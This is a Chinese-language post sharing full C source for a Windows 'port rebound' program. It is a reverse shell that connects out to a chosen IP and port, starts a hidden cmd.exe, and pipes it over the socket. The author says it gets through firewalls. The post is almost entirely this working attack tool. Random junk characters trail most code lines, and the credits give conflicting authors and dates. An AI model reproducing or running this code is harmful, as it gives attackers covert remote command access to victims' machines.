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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %f{1u5+5  
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/* ============================== T;eA<,H  
Rebound port in Windows NT 9I a4PPEH1  
By wind,2006/7 +TzF*Np  
===============================*/ |P_\l,f8`  
#include xZ51iD $  
#include [e2sUO0~r  
cT8`l!RD<  
#pragma comment(lib,"wsock32.lib") qsB,yckml  
-%&_LE9ZtS  
void OutputShell(); -fl?G%:(!0  
SOCKET sClient; q;T3bxp+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |g5B==KI  
;;zKHS  
void main(int argc,char **argv) rf+'U9  
{ ~RQ6DG^  
WSADATA stWsaData; }w \["r  
int nRet; }lzyl*.  
SOCKADDR_IN stSaiClient,stSaiServer; C043h?x  
` Nn^   
if(argc != 3) :*bmc/c  
{ Gs*FbrY  
printf("Useage:\n\rRebound DestIP DestPort\n"); U9D4bn D  
return; 4:\s.Z{!3  
} r( _9_%[  
P@Wi^svj  
WSAStartup(MAKEWORD(2,2),&stWsaData); UTEUVcJ\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G?LPj*=$?  
a!,q\p8<t0  
stSaiClient.sin_family = AF_INET; Zho d%n3  
stSaiClient.sin_port = htons(0); mPNT*pAO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f>)k<-<yj  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %]JSDb=C  
{ u>Z0ug6x  
printf("Bind Socket Failed!\n"); Epm\ =s  
return; 3~"G(UP  
} fF208A7U I  
]8(_{@ /  
stSaiServer.sin_family = AF_INET; +OFq=M  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `A@{})+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iH& Izv  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4@PH5z  
{ bk E4{P"  
printf("Connect Error!"); ,?GEL>F  
return;  {g?$u  
} xrX^";}j  
OutputShell(); )v1n#m,W  
} nDnSVrvd-i  
':8yp|A|  
void OutputShell() >Vr+\c  
{ ,K Ebnk|i  
char szBuff[1024];  Z(p kj  
SECURITY_ATTRIBUTES stSecurityAttributes; &B uO-  
OSVERSIONINFO stOsversionInfo; SxLu<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gc-yUH0I  
STARTUPINFO stStartupInfo; o5gt`H"  
char *szShell; -W(O~AK  
PROCESS_INFORMATION stProcessInformation; 1 dT1DcZ  
unsigned long lBytesRead; n?*Fr sZ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MXY[t  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'qS&7 W(  
stSecurityAttributes.lpSecurityDescriptor = 0; XVjs0/5b  
stSecurityAttributes.bInheritHandle = TRUE; '~ RP+  
DfP4 `  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Bk&ry)`gD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dEU +\NY  
!(PAUW S@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NF <|3|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8 /1 sy.R  
stStartupInfo.wShowWindow = SW_HIDE; Zr,:i MPZ  
stStartupInfo.hStdInput = hReadPipe; G2Eke;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 59:Xu%Hp  
'Z#8]YP`  
GetVersionEx(&stOsversionInfo); ~"89NVk"  
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switch(stOsversionInfo.dwPlatformId) g+oSbC  
{ 4S>A}rWz  
case 1: _p/ _t76s  
szShell = "command.com"; V|3}~(5=  
break; !6hUTjhW7z  
default: O,"4HZG  
szShell = "cmd.exe"; ( /{Wu:e  
break; hER]%)#r  
} ,$ L>  
)%lPa|7s  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [V_Z9-f*  
bhaIi>W~G  
send(sClient,szMsg,77,0); T!C39T  
while(1) :B?C~U k  
{ jovI8Dw >  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UN'[sHjOnD  
if(lBytesRead) 6('2.^8  
{ ?zW4|0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Vo^ i7  
send(sClient,szBuff,lBytesRead,0); Pu dIb|V2  
} ,h,DB=!K<  
else H'E(gc)>)  
{ cl kL)7RQ  
lBytesRead=recv(sClient,szBuff,1024,0); VWqmqR%  
if(lBytesRead<=0) break; .}Va~[0j  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9~i=Af@  
} Jhdo#}Ub  
} R7u&`  
$d 2mcwh\  
return; 1+|s   
}
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